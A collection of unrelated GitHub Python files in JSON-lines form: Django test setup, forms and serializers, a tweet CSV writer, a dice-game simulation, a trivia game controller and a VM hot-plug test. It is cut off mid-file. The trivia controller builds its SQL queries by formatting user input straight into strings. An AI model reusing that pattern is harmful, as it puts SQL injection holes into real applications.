+{"seq_id":"6070332014","text":"import pytest\nfrom django.core.management import call_command\nfrom pytest_factoryboy import register\n\nfrom api.tests.factories import ApiTokenFactory\nfrom main.tests.factories import (\n    DispensedFactory,\n    LocationFactory,\n    LocationStaffFactory,\n    MaterialFactory,\n    MaterialRecordFactory,\n    RegionFactory,\n)\nfrom users.tests.factories import UserFactory\n\nregister(ApiTokenFactory)\nregister(DispensedFactory)\nregister(LocationFactory)\nregister(LocationStaffFactory)\nregister(MaterialFactory)\nregister(MaterialRecordFactory)\nregister(RegionFactory)\nregister(UserFactory)\n\n\n@pytest.fixture(scope=\"session\")\ndef django_db_setup(django_db_setup, django_db_blocker):\n    with django_db_blocker.unblock():\n        call_command(\"load_groups\")\n","repo_name":"otevrenamesta/vydej-materialu","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"17271863331","text":"import pandas as pd\n\ndef write_to_csv(filename,idd,twee):\n    d={\"id\":idd,\"tweets\":twee}\n    df=pd.DataFrame(d,columns=['id','tweets'])\n    fname=str(filename).strip()+\".csv\"\n    print(df)\n    df.to_csv(fname,index=False)\n\ndef write_json_tweets(filename,tweets):\n     with open(filename, 'a') as f:\n            idd=[]\n            twee=[]\n\n            for tw in tweets:\n                # print(type(tw))\n                id=[]\n\n                t=tw._json\n                idd.append(t['id'])\n                twee.append(t['full_text'])\n\n                write_to_csv(filename,idd,twee)\n","repo_name":"royalbhati/twitter_scrap","sub_path":"json_parse.py","file_name":"json_parse.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"70136689290","text":"import model\r\nfrom tkinter import messagebox\r\n\r\n\r\ndef iniciarSistema():\r\n    if model.crearBase() == 1:\r\n        messagebox.showinfo('¡Éxito!', 'La base de datos ha sido creada con éxito.')\r\n    else:\r\n        pass\r\n\r\n\r\ndef obtenerPreguntas():\r\n    query = 'SELECT id, pregunta FROM preguntas;'\r\n    cur = model.consultaPreguntas(query)\r\n    return cur\r\n\r\n\r\ndef insertarPregunta(question, trueansw, fakeansw1, fakeansw2, fakeansw3, category):\r\n    if len(question) != 0 and len(trueansw) != 0 and len(fakeansw1) != 0 and len(fakeansw2) != 0 and len(fakeansw3) != 0 and len(category) != 0:\r\n        queryObtenerIdCat = \"SELECT id FROM categorias WHERE categoria = '{}'\".format(category)\r\n        curIdCat = model.obtenerIdCat(queryObtenerIdCat)\r\n        id = curIdCat.fetchall()\r\n        if id:\r\n            queryInsertarPregunta = \"INSERT INTO preguntas (pregunta, idCategoria) VALUES ('{}', {})\".format(question, id[0][0])\r\n            curPregunta = model.insertarPregunta(queryInsertarPregunta)\r\n            idPregunta = curPregunta\r\n            if idPregunta != 0:\r\n                queryInsertarRespuestas = \"\"\"INSERT INTO \r\n                respuestas (respuestaVerdadera, respuestaFalsa1, respuestaFalsa2, RespuestaFalsa3, idPregunta) \r\n                VALUES ('{}', '{}', '{}', '{}', {});\"\"\".format(trueansw, fakeansw1, fakeansw2, fakeansw3, idPregunta)\r\n                curRespuestas = model.insertarRespuestas(queryInsertarRespuestas)\r\n                if curRespuestas == 1:\r\n                    messagebox.showinfo('¡Éxito!', 'La pregunta fue ingresada con éxito.')\r\n                else:\r\n                    messagebox.showerror('¡Atención!', 'No se pudieron ingresar las respuestas.')\r\n            else:\r\n                messagebox.showerror('¡Atención!', 'No se pudo ingresar la pregunta.')\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'La categoría ingresada no es válida.')\r\n    else:\r\n        messagebox.showerror('¡Atención!', 'Debe ingresar todos los campos correctamente.')\r\n\r\n\r\ndef eliminarPregunta(idPregunta):\r\n    if idPregunta:\r\n        queryEliminarRespuestas = 'DELETE FROM respuestas WHERE idPregunta = {};'.format(idPregunta)\r\n        curEliminarRespuestas = model.eliminarRespuestas(queryEliminarRespuestas)\r\n        if curEliminarRespuestas == 1:\r\n            queryEliminarPregunta = 'DELETE FROM preguntas WHERE id = {};'.format(idPregunta)\r\n            curEliminarPregunta = model.eliminarPregunta(queryEliminarPregunta)\r\n            if curEliminarPregunta == 1:\r\n                messagebox.showinfo('¡Éxito!', 'Ha eliminado la pregunta con éxito.')\r\n            else:\r\n                messagebox.showerror('¡Atención!', 'No se pudo eliminar la pregunta.')\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'No se pudieron eliminar las respuestas de la pregunta.')\r\n    else:\r\n        pass\r\n\r\n\r\ndef obtenerCategorias():\r\n    query = 'SELECT id, categoria FROM categorias;'\r\n    cur = model.consultaCategorias(query)\r\n    return cur\r\n\r\n\r\ndef insertarCategoria(cat, dif):\r\n    if len(cat) != 0 and len(dif) != 0:\r\n        queryInsertarCat = \"INSERT INTO categorias (categoria, dificultad) VALUES ('{}', {})\".format(cat, dif)\r\n        curCat = model.insertarCategoria(queryInsertarCat)\r\n        if curCat == 1:\r\n            messagebox.showinfo('¡Éxito!', 'La categoría fue ingresada con éxito.')\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'No se pudo ingresar la categoría.')\r\n    else:\r\n        messagebox.showerror('¡Atención!', 'Debe ingresar todos los campos correctamente.')\r\n\r\n\r\ndef eliminarCategoria(idCat):\r\n    if idCat:\r\n        queryEliminarRespuestasPreguntasCat = \"\"\"DELETE FROM respuestas WHERE idPregunta IN (SELECT id FROM preguntas WHERE idCategoria = {});\"\"\".format(idCat)\r\n        curEliminarRespuestasPreguntasCat = model.eliminarRespuestasPreguntasCat(queryEliminarRespuestasPreguntasCat)\r\n        if curEliminarRespuestasPreguntasCat == 1:\r\n            queryEliminarPreguntasCat = \"DELETE FROM preguntas WHERE idCategoria = {};\".format(idCat)\r\n            curEliminarPreguntasCat = model.eliminarPreguntasCat(queryEliminarPreguntasCat)\r\n            if curEliminarPreguntasCat == 1:\r\n                queryEliminarCat = \"DELETE FROM categorias WHERE id = {};\".format(idCat)\r\n                curEliminarCat = model.eliminarCategoria(queryEliminarCat)\r\n                if curEliminarCat == 1:\r\n                    messagebox.showinfo('¡Éxito!', 'La categoría fue eliminada con éxito.')\r\n                else:\r\n                    messagebox.showerror('¡Atención!', 'No se pudo eliminar la categoría.')\r\n            else:\r\n                messagebox.showerror('¡Atención!', 'No se pudieron eliminar las preguntas de esta categoría.')\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'No se pudieron eliminar las respuestas de una pregunta de esta categoría.')\r\n    else:\r\n        pass\r\n\r\n\r\ndef obtenerRegistros():\r\n    query = 'SELECT id, nombreUsuario, puntuacion FROM registros ORDER BY puntuacion DESC;'\r\n    cur = model.consultaRegistros(query)\r\n    return cur\r\n\r\n\r\ndef eliminarRegistro(idRegistro):\r\n    if idRegistro:\r\n        queryEliminarReg = 'DELETE FROM registros WHERE id = {};'.format(idRegistro)\r\n        curEliminarReg = model.eliminarRegistro(queryEliminarReg)\r\n        if curEliminarReg == 1:\r\n            messagebox.showinfo('¡Éxito!', 'Ha eliminado el registro con éxito.')\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'No se pudo eliminar el registro.')\r\n    else:\r\n        pass\r\n\r\n\r\ndef obtenerCategoriasNivel(nivel):\r\n    if(nivel):\r\n        queryObtenerCatNivel = '''SELECT id, categoria\r\n                                FROM categorias AS C\r\n                                WHERE dificultad = {} AND\r\n                                (SELECT COUNT(*)\r\n                                FROM preguntas\r\n                                WHERE idCategoria = C.id) >= 5'''.format(nivel)\r\n        curObtenerCatNivel = model.consultaCatNivel(queryObtenerCatNivel)\r\n        if curObtenerCatNivel:\r\n            return curObtenerCatNivel\r\n        else:\r\n            messagebox.showerror('¡Atención!', 'No hay categorías de ese nivel.')\r\n    else:\r\n        messagebox.showerror('¡Atención!', 'El nivel no es correcto.')\r\n\r\n\r\ndef validarJuego():\r\n    i = 1\r\n    while i <= 5:\r\n        queryObtenerCatNivel = '''SELECT COUNT(*)\r\n                                FROM categorias AS C\r\n                                WHERE dificultad = {} AND\r\n                                (SELECT COUNT(*)\r\n                                FROM preguntas\r\n                                WHERE idCategoria = C.id) >= 5'''.format(i)\r\n        cur = model.consultaCatNivel(queryObtenerCatNivel)\r\n        cant = cur.fetchall()\r\n        if cant[0][0] < 1:\r\n            messagebox.showerror('¡Atención!', 'El juego no contiene suficientes preguntas y/o categorías.')\r\n            return 0\r\n        i = i+1\r\n    return 1\r\n\r\n\r\ndef terminarJuego(usuario, puntuacion):\r\n    query = \"INSERT INTO registros (nombreUsuario, puntuacion) VALUES('{}', {});\".format(usuario, puntuacion)\r\n    curTerminarJuego = model.terminarJuego(query)\r\n    if curTerminarJuego == 1:\r\n        messagebox.showinfo('¡Juego terminado!', '{}, has terminado el juego.\\nTu puntuación ha sido de {}/150.'.format(usuario, puntuacion))\r\n    else:\r\n        messagebox.showerror('¡Atención!', 'Hubo un error al terminar el juego.')\r\n\r\n\r\ndef obtenerPreguntaCat(nombreCat):\r\n    query = '''SELECT id, pregunta \r\n            FROM preguntas AS P \r\n            WHERE P.idCategoria = (\r\n                SELECT id\r\n                FROM categorias\r\n                WHERE categoria = \"{}\");'''.format(nombreCat)\r\n    cur = model.obtenerPreguntaCat(query)\r\n    return cur\r\n\r\n\r\ndef obtenerRespuestasPregunta(nombreCat, pregunta):\r\n    query = '''SELECT respuestaVerdadera, respuestaFalsa1, respuestaFalsa2, respuestaFalsa3 \r\n                FROM respuestas AS R \r\n                WHERE R.idPregunta = (\r\n                    SELECT id\r\n                    FROM preguntas AS P\r\n                    WHERE P.pregunta = \"{}\"\r\n                    AND idCategoria = (\r\n                        SELECT id\r\n                        FROM categorias AS C\r\n                        WHERE C.categoria = \"{}\"));'''.format(pregunta, nombreCat)\r\n    cur = model.consultaRespuestasPregunta(query)\r\n    return cur\r\n\r\n\r\ndef verificarRespuesta(respuesta, categoria, pregunta):\r\n    query = '''SELECT respuestaVerdadera\r\n            FROM respuestas as R\r\n            WHERE R.idPregunta = (\r\n                SELECT id\r\n                FROM preguntas AS P\r\n                WHERE P.idCategoria = (\r\n                    SELECT id\r\n                    FROM categorias AS C\r\n                    WHERE C.categoria = \"{}\")\r\n                AND P.pregunta = \"{}\");'''.format(categoria, pregunta)\r\n    cur = model.obtenerRespuestaVerdadera(query)\r\n    respuestaVerdadera = cur.fetchall()\r\n    if respuestaVerdadera[0][0] == respuesta:\r\n        return 1\r\n    return 0","repo_name":"collazomathias/TestTecnicoSofka","sub_path":"TestTecnicoSofka/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":9060,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4373800220","text":"#%% \n# imports\nimport random\nfrom collections import Counter\n\n#%% \n# tira una cantidad de dados dada\ndef tirar(cant_dados):\n    tirada=[]\n    for i in range(cant_dados):\n        tirada.append(random.randint(1,6)) \n    return tirada\n\n#%% \n# Funcion para comprobar si la tirada es una generala\ndef es_generala(tirada):\n    num = tirada[0]\n    for dado in tirada:\n        if dado != num:\n            return False\n    return True\n\n# %% \n# funcion que realiza hasta 3 tiradas para intentar obtener generala\n\ndef jugar():    \n    dados = tirar(5)        # Realiza una primer tirada de 5 dados\n    for i in range(2):      # y se puede relanzar 2 veces mas\n        if not es_generala(dados):  #En caso de no ser generala, cambia dados\n            cont = Counter(dados).most_common() # Cuenta los valores\n            mas_comun = cont[0]                 # Obtiene una tupla de valor, cant del mas comun\n            if mas_comun[1] ==1:                # Si la cantidad del mas comun es 1, son todos distintos\n                dados_nuevos = tirar(5)         # Entonces se tira todo nuevamente\n            else:                               # Si no, tira de vuelta una cantidad opuesta a los mas repetidos\n                dados_nuevos = tirar(5-mas_comun[1])\n            j=0                 # pequeño indice para recorrer los dados nuevos\n            for ind,valor in enumerate(dados):\n                if valor != mas_comun[0]:       # Si el valor no es el mas comun, se reemplaza por la nueva tirada\n                    dados[ind] = dados_nuevos[j]\n                    j += 1      # Se incrementa el contador para acceder al siguiente indice de la nueva tirada\n        else:\n            break               # Si es generala deja de tirar\n    return es_generala(dados)   # Devuelve una comprobacion de si es generala o no\n\n# %% \n# función que devuelve la probabilidad de obtener una generala\ndef prob_generala(N):\n    G = 0\n    for jugada in range(N):\n        if jugar():\n            G += 1\n    prob = G/N\n    return prob\n\n#%% \n# la misma funcion que el caso anterior, solo que en caso de ser todos distintos, guarda uno y tira 4\ndef jugar2():\n    dados = tirar(5)\n    for i in range(2):\n        if not es_generala(dados):\n            cont = Counter(dados).most_common()\n            mas_comun = cont[0]\n            dados_nuevos = tirar(5-mas_comun[1])\n            j=0\n            for ind,valor in enumerate(dados):\n                if valor != mas_comun[0]:\n                    dados[ind] = dados_nuevos[j]\n                    j += 1\n        else:\n            break\n    return es_generala(dados)\n# %%\n# Función para comparar el rendimiento de ambas formas de jugar en caso de dados distintos\ndef prob_generala_comp(N):\n    G1 = 0              #Contadores de exito para ambos casos\n    G2 = 0\n    for jugada in range(N):\n        if jugar():     #Juega reponiendo todos\n            G1 += 1\n        if jugar2():    #Juega guardando uno\n            G2 += 1\n\n    prob1 = G1/N\n    prob2 = G2/N\n    return prob1,prob2  # Devuelve ambas probabilidades\n\n#%%\n# Pequeño código para comparar qué caso es mejor\ncaso1= 0                # Cantidad de veces que reemplazar todo es mejor que guardar uno\nfor i in range(100):    # Ejecuta el experimento 100 veces\n    v1,v2 = prob_generala_comp(10000)   # Realiza 10k pasadas\n    if v1 > v2:\n        caso1 += 1\nif caso1 < 50:          # Como se ejecuta 100 veces, se toma el 50 como punto medio\n    print(\"Hay mas posibilidades de ganar guardando un dado\")\nelif caso1==50:\n    print(\"Es lo mismo de cualquier manera\")\nelse:\n    print(\"Hay mas posibilidades de ganar cambiando todos los dados\")\n\n# Se corrió este experimento unas 10 veces, en la mayoria de los casos fue mejor guardar un dado\n# Es decir, 10 veces se hicieron 100 experimentos viendo la probabilidad en cada caso de obtener generala tirando 10000 veces\n# %%\n","repo_name":"agustinavila/Curso-Python-UNSAM","sub_path":"Clase05/generala.py","file_name":"generala.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7995575961","text":"\"\"\" Serializers for question app \"\"\"\nfrom forumserver import settings\nfrom django.utils import timezone\nfrom rest_framework.fields import SerializerMethodField\nfrom rest_framework.serializers import ModelSerializer, DateTimeField\nfrom drf_extra_fields.fields import Base64ImageField\nfrom start.serializers import PersonSerializer\nfrom question.models import (\n    Question, QuestionImage, Answer, Tag,\n    QuestionTag, QuestionPersonLike)\n\n\nclass TagSerializer(ModelSerializer):\n    \"\"\" Serializer for Tag model \"\"\"\n\n    class Meta:\n        \"\"\" Meta class for tag serializer \"\"\"\n        model = Tag\n        fields = '__all__'\n        extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n\nclass QuestionSerializer(ModelSerializer):\n    \"\"\" Serializer for Question model \"\"\"\n    image_question = SerializerMethodField()\n    tags = SerializerMethodField()\n    likes = SerializerMethodField()\n    dislikes = SerializerMethodField()\n    has_like = SerializerMethodField()\n    active_answer = SerializerMethodField()\n    list_answers = SerializerMethodField()\n    creation_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n    edit_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n\n    class Meta:\n        \"\"\" Meta class for question serializer \"\"\"\n        model = Question\n        fields = ['id', 'creator', 'title', 'statement', 'creation_date',\n                  'image_question', 'tags', 'likes', 'dislikes', 'has_like',\n                  'active_answer', 'list_answers', 'edit_date']\n        extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n    def __init__(self, *args, **kwargs):\n        super(QuestionSerializer, self).__init__(*args, **kwargs)\n        if self.context['request'].method == 'GET':\n            self.fields['creator'] = PersonSerializer(read_only=True,\n                                                      context=kwargs['context'])\n        if self.context['request'].method == 'PATCH':\n            self.fields['creator'] = PersonSerializer(context=kwargs['context'])\n\n    def create(self, validated_data):\n        \"\"\" Create method for the serializer \"\"\"\n        question = Question.objects.create(**validated_data)\n        question.save()\n        if 'tag' in self.context['request'].data:\n            tag = Tag.objects.get(id=self.context['request'].data['tag'])\n            question_tag = QuestionTag.objects.create(question=question,\n                                                      tag=tag)\n            question_tag.save()\n        return question\n\n    def update(self, instance, validated_data):\n        instance.edit_date = timezone.now()\n        instance.save()\n        return ModelSerializer.update(self, instance, validated_data)\n\n    def get_image_question(self, obj):\n        \"\"\" Method to obtain an image for a question \"\"\"\n        question_image = 'Sin imagen'\n        if QuestionImage.objects.filter(question=obj).exists():\n            question_image = (QuestionImage.objects.filter(question=obj)\n                              .order_by('-upload_date').first())\n            question_image = (settings.IMAGE_HOST + question_image.image.url)\n        return question_image\n\n    def get_tags(self, obj):\n        \"\"\" Method to obtain a list of tags associated of a question \"\"\"\n        if QuestionTag.objects.filter(question=obj).exists():\n            id_tags = QuestionTag.objects.filter(question=obj).values('tag__id')\n            tags_obj = Tag.objects.filter(id__in=id_tags)\n            return TagSerializer(tags_obj, many=True).data\n        else:\n            return \"No tags\"\n\n    def get_active_answer(self, obj):\n        \"\"\" Method to show answers \"\"\"\n        return False\n\n    def get_list_answers(self, obj):\n        \"\"\" Method to get an initial array of answers \"\"\"\n        return []\n\n    def get_likes(self, obj):\n        \"\"\" Method to obtain likes for a question \"\"\"\n        return QuestionPersonLike.objects.filter(question=obj,\n                                                 like=True).count()\n\n    def get_dislikes(self, obj):\n        \"\"\" Method to obtain dislikes for a question \"\"\"\n        return QuestionPersonLike.objects.filter(question=obj,\n                                                 like=False).count()\n\n    def get_has_like(self, obj):\n        \"\"\" Method to know if a person liked a question \"\"\"\n        if 'person_id' in self.context['request'].GET:\n            if (QuestionPersonLike.objects\n                .filter(person__id=self.context['request'].GET['person_id'],\n                        question=obj).exists()):\n                return (QuestionPersonLike.objects\n                        .filter(person__id=self.context['request']\n                                .GET['person_id'],\n                                question=obj)\n                        .last().id)\n        return 0\n\n\nclass QuestionImageSerializer(ModelSerializer):\n    \"\"\" Serializer for Image of user profiles \"\"\"\n    image = Base64ImageField()\n    url_image = SerializerMethodField()\n    upload_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n    extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n    def to_representation(self, obj):\n        ret = super(QuestionImageSerializer, self).to_representation(obj)\n        if self.context['request'].method == 'POST':\n            ret.pop('id')\n            ret.pop('question')\n            ret.pop('image')\n            ret.pop('upload_date')\n        return ret\n\n    class Meta:\n        \"\"\" Meta class for ImageDetail serializer \"\"\"\n        model = QuestionImage\n        fields = '__all__'\n\n    def update(self, instance, validated_data):\n        \"\"\" Function to update user information \"\"\"\n        instance.image.delete(save=False)\n        instance.image = validated_data.get('image', instance.image)\n        instance.save()\n        return instance\n\n    def get_url_image(self, obj):\n        \"\"\" Function to obtain the url for an image \"\"\"\n        return settings.SERVER_HOST + obj.image.url\n\n\nclass AnswerSerializer(ModelSerializer):\n    \"\"\" Serializer for Answer model \"\"\"\n    creation_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n    edit_date = DateTimeField(read_only=True, format=\"%Y-%m-%d %H:%M:%S\")\n\n    class Meta:\n        \"\"\" Meta class for answer serializer \"\"\"\n        model = Answer\n        fields = '__all__'\n        extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n    def __init__(self, *args, **kwargs):\n        super(AnswerSerializer, self).__init__(*args, **kwargs)\n        if self.context['request'].method == 'GET':\n            self.fields['creator'] = PersonSerializer(read_only=True,\n                                                      context=kwargs['context'])\n            self.fields['question'] = QuestionSerializer(read_only=True,\n                                                         context=kwargs\n                                                         ['context'])\n        if self.context['request'].method == 'PATCH':\n            self.fields['creator'] = PersonSerializer(context=kwargs['context'])\n            self.fields['question'] = QuestionSerializer(context=kwargs\n                                                         ['context'])\n\n    def update(self, instance, validated_data):\n        instance.edit_date = timezone.now()\n        instance.save()\n        return ModelSerializer.update(self, instance, validated_data)\n\n\nclass QuestionTagSerializer(ModelSerializer):\n    \"\"\" Serializer for QuestionTag model \"\"\"\n\n    class Meta:\n        \"\"\" Meta class for question tag serializer \"\"\"\n        model = QuestionTag\n        fields = '__all__'\n        extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n    def __init__(self, *args, **kwargs):\n        super(QuestionTagSerializer, self).__init__(*args, **kwargs)\n        if self.context['request'].method == 'GET':\n            self.fields['tag'] = TagSerializer(read_only=True,\n                                               context=kwargs['context'])\n            self.fields['question'] = QuestionSerializer(read_only=True,\n                                                         context=kwargs\n                                                         ['context'])\n\n\nclass QuestionPersonLikeSerializer(ModelSerializer):\n    \"\"\" Serializer for likes of persons \"\"\"\n\n    class Meta:\n        \"\"\" Meta class for the serializer \"\"\"\n        model = QuestionPersonLike\n        fields = '__all__'\n        extra_kwargs = {'id': {'read_only': True, 'required': False}}\n\n    def __init__(self, *args, **kwargs):\n        super(QuestionPersonLikeSerializer, self).__init__(*args, **kwargs)\n        if self.context['request'].method == 'GET':\n            self.fields['person'] = PersonSerializer(read_only=True,\n                                                     context=kwargs['context'])\n            self.fields['question'] = QuestionSerializer(read_only=True,\n                                                         context=kwargs\n                                                         ['context'])\n","repo_name":"grupo01-softtechconsulting/proyectodaw1","sub_path":"ForumProject/Desarrollo/Servidor/forumserver/question/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":8998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42460802745","text":"# accounts/forms.py\nfrom django import forms\nfrom django.contrib.auth.forms import UserCreationForm, UserChangeForm\nfrom django.core.exceptions import ValidationError\nfrom django.utils.translation import gettext_lazy as _\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Fieldset, Field, Submit, Button\nfrom crispy_forms.bootstrap import (\n    AppendedText,\n    PrependedText,\n    FormActions,\n    UneditableField,\n)\nfrom crispy_bootstrap5.bootstrap5 import FloatingField\nfrom django.conf import settings\n\nfrom .models import Project, TestParam\nfrom accounts.models import CustomUser\n\nclass ProjectCreateForm(forms.ModelForm):\n    start_date = forms.DateField(help_text=\"Format: YYYY-MM-DD\")\n    helper = FormHelper()\n    helper.form_class = \"form-horizontal\"\n    helper.help_text_inline = True\n    helper.layout = Layout(\n        Field(\"name\"),\n        Field(\"code\"),\n        Field(\"family\"),\n        Field(\"customers\"),\n        Field(\"description\"),\n        Field(\"start_date\"),\n        Field(\"build_phase\"),\n        FormActions(\n            Submit(\n                \"submit\",\n                \"Register NEW Project\",\n                css_class=\"btn btn-primary btn-lg btn-block\",\n            ),\n        ),\n    )\n\n    class Meta:\n        model = Project\n        fields = (\n            \"name\",\n            \"code\",\n            \"family\",\n            \"customers\",\n            \"description\",\n            \"start_date\",\n            \"build_phase\",\n        )\n\n\nclass ProjectUpdateForm(forms.ModelForm):\n    start_date = forms.DateField(help_text=\"Format: YYYY-MM-DD\")\n    helper = FormHelper()\n    helper.form_class = \"form-horizontal\"\n    helper.help_text_inline = True\n    helper.layout = Layout(\n        Fieldset(\n            \"\",\n            \"name\",\n            \"code\",\n            \"slug\",\n            \"description\",\n        ),\n        Fieldset(\n            \"Attributes\",\n            \"family\",\n            \"customers\",\n        ),\n        Fieldset(\n            \"Project build details\",\n            \"build_phase\",\n            \"start_date\",\n            \"poc_date\",\n            \"p1_date\",\n            \"evt_date\",\n            \"dvt_date\",\n            \"pvt_date\",\n            \"mp_date\",\n        ),\n        Fieldset(\n            \"Admin\",\n            \"user_created\",\n            \"user_dri\",\n        ),\n        FormActions(Submit(\"save\", \"Save changes\"), Button(\"cancel\", \"Cancel\")),\n    )\n\n    class Meta:\n        model = Project\n        exclude = (\"is_approved\", \"user_updated\",)\n\n    def clean_user_dri(self, *args, **kwargs):\n        if \"user\" in kwargs:\n            qs_user_dri_list = self.cleaned_data['user_dri']\n            dri_list_pks = [obj.pk for obj in qs_user_dri_list]\n            dri_list_pks.append(kwargs['user'].pk)\n            queryset = CustomUser.objects.filter(pk__in=dri_list_pks)\n            self.cleaned_data['user_dri'] = queryset\n            return queryset\n\n        return self.cleaned_data['user_dri']\n\nclass ProjectApprovalForm(forms.ModelForm):\n    helper = FormHelper()\n    helper.form_class = \"form-horizontal\"\n    helper.help_text_inline = True\n    helper.layout = Layout(\n        Field(\"is_approved\"),\n        FormActions(Submit(\"save\", \"Save changes\"), Button(\"cancel\", \"Cancel\")),\n    )\n\n    class Meta:\n        model = Project\n        fields = (\"is_approved\",)\n\n\nclass TestParamCreateForm(forms.ModelForm):\n    # helper = FormHelper()\n    # helper.form_class = \"form-horizontal\"\n    # helper.help_text_inline = True\n    # helper.layout = Layout(\n    #     Field(\"is_approved\"),\n    #     FormActions(Submit(\"save\", \"Save changes\"), Button(\"cancel\", \"Cancel\")),\n    # )\n\n    class Meta:\n        model = TestParam\n        fields = \"__all__\"\n\n\nclass TestParamUpdateForm(forms.ModelForm):\n    # helper = FormHelper()\n    # helper.form_class = \"form-horizontal\"\n    # helper.help_text_inline = True\n    # helper.layout = Layout(\n    #     Field(\"is_approved\"),\n    #     FormActions(Submit(\"save\", \"Save changes\"), Button(\"cancel\", \"Cancel\")),\n    # )\n\n    class Meta:\n        model = TestParam\n        fields = \"__all__\"\n","repo_name":"jakelime/webplatform","sub_path":"main/ptms/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"36589807804","text":"'''\n@author: FangSun\n'''\nimport zstackwoodpecker.test_util as test_util\nimport zstackwoodpecker.test_lib as test_lib\nimport zstackwoodpecker.test_state as test_state\nimport zstackwoodpecker.operations.vm_operations as vm_ops\nimport time\nfrom multiprocessing.dummy import Pool as ThreadPool\n\n_config_ = {\n        'timeout' : 1000,\n        'noparallel' : True\n        }\n\ntest_stub = test_lib.lib_get_test_stub()\ntest_obj_dict = test_state.TestStateDict()\nMEMchange = 126*1024*1024\nAlignedMemChange = 128*1024*1024\nCPUchange = 1\n\nclass VmWrapper(object):\n    def __init__(self, vm):\n        self.vm = vm\n        self.available_cpu_before = None\n        self.available_memory_before = None\n        self.vm_outer_cpu_before = None\n        self.vm_outer_mem_before = None\n        self.vm_internal_cpu_before = None\n        self.vm_internal_mem_before = None\n        self.available_cpu_after = None\n        self.available_memory_after = None\n        self.vm_outer_cpu_after = None\n        self.vm_outer_mem_after = None\n        self.vm_internal_cpu_after = None\n        self.vm_internal_mem_after = None\n\n    def update_vminfo_before(self):\n        (self.available_cpu_before, self.available_memory_before,\n         self.vm_outer_cpu_before, self.vm_outer_mem_before,\n         self.vm_internal_cpu_before, self.vm_internal_mem_before) = test_stub.check_cpu_mem(self.vm)\n\n    def update_vminfo_after(self):\n        (self.available_cpu_after, self.available_memory_after,\n         self.vm_outer_cpu_after, self.vm_outer_mem_after,\n         self.vm_internal_cpu_after, self.vm_internal_mem_after) = test_stub.check_cpu_mem(self.vm)\n\n\ndef update_cpu_mem(vm):\n    vm_instance_offering = test_lib.lib_get_instance_offering_by_uuid(vm.get_vm().instanceOfferingUuid)\n    vm_ops.update_vm(vm.get_vm().uuid, vm_instance_offering.cpuNum + CPUchange,\n                     vm_instance_offering.memorySize + MEMchange)\n    vm.update()\n    test_stub.online_hotplug_cpu_memory(vm)\n    vm.check()\n\n\ndef test():\n    new_offering = test_lib.lib_create_instance_offering(cpuNum = 1,\\\n            memorySize = 1024 * 1024 * 1024)\n    test_obj_dict.add_instance_offering(new_offering)\n    test_util.test_logger('Create 5 vm for testing')\n    wrapped_vm_list = []\n    for i in xrange(5):\n        vm = test_stub.create_vm(vm_name = 'ckvmoffering-u12-64-{}'.format(i), image_name = \"imageName_i_u12\", instance_offering_uuid=new_offering.uuid)\n        test_obj_dict.add_vm(vm)\n        wrapped_vm_list.append(VmWrapper(vm))\n    for wrapped_vm in wrapped_vm_list:\n        wrapped_vm.vm.check()\n\n    test_util.test_logger('Reserve cpu memory information before hot upgrade')\n\n    for wrapped_vm in wrapped_vm_list:\n        wrapped_vm.update_vminfo_before()\n\n    test_util.test_logger('Hot plugin cpu mem in parallel')\n    pool = ThreadPool()\n    pool.map(update_cpu_mem, [wrapped_vm.vm for wrapped_vm in wrapped_vm_list])\n    pool.close()\n    pool.join()\n\n    time.sleep(5)\n\n    for wrapped_vm in wrapped_vm_list:\n        wrapped_vm.update_vminfo_after()\n\n    for wrapped_vm in wrapped_vm_list:\n        assert wrapped_vm.vm_outer_cpu_before == wrapped_vm.vm_outer_cpu_after - 1\n        assert wrapped_vm.vm_outer_mem_before == wrapped_vm.vm_outer_mem_after - AlignedMemChange\n        assert wrapped_vm.vm_internal_cpu_before == wrapped_vm.vm_internal_cpu_after - 1\n        assert wrapped_vm.vm_internal_mem_before == wrapped_vm.vm_internal_mem_after - AlignedMemChange/1024/1024\n\n    assert wrapped_vm.available_cpu_before == wrapped_vm.available_cpu_after + 5\n    assert wrapped_vm.available_memory_after + 5*AlignedMemChange/int(test_lib.lib_get_provision_memory_rate()) \\\n           in range(wrapped_vm.available_memory_before-10, wrapped_vm.available_memory_before+10)\n\n    test_lib.lib_error_cleanup(test_obj_dict)\n    test_util.test_pass('VM online change instance offering Test Pass')\n\n\ndef error_cleanup():\n    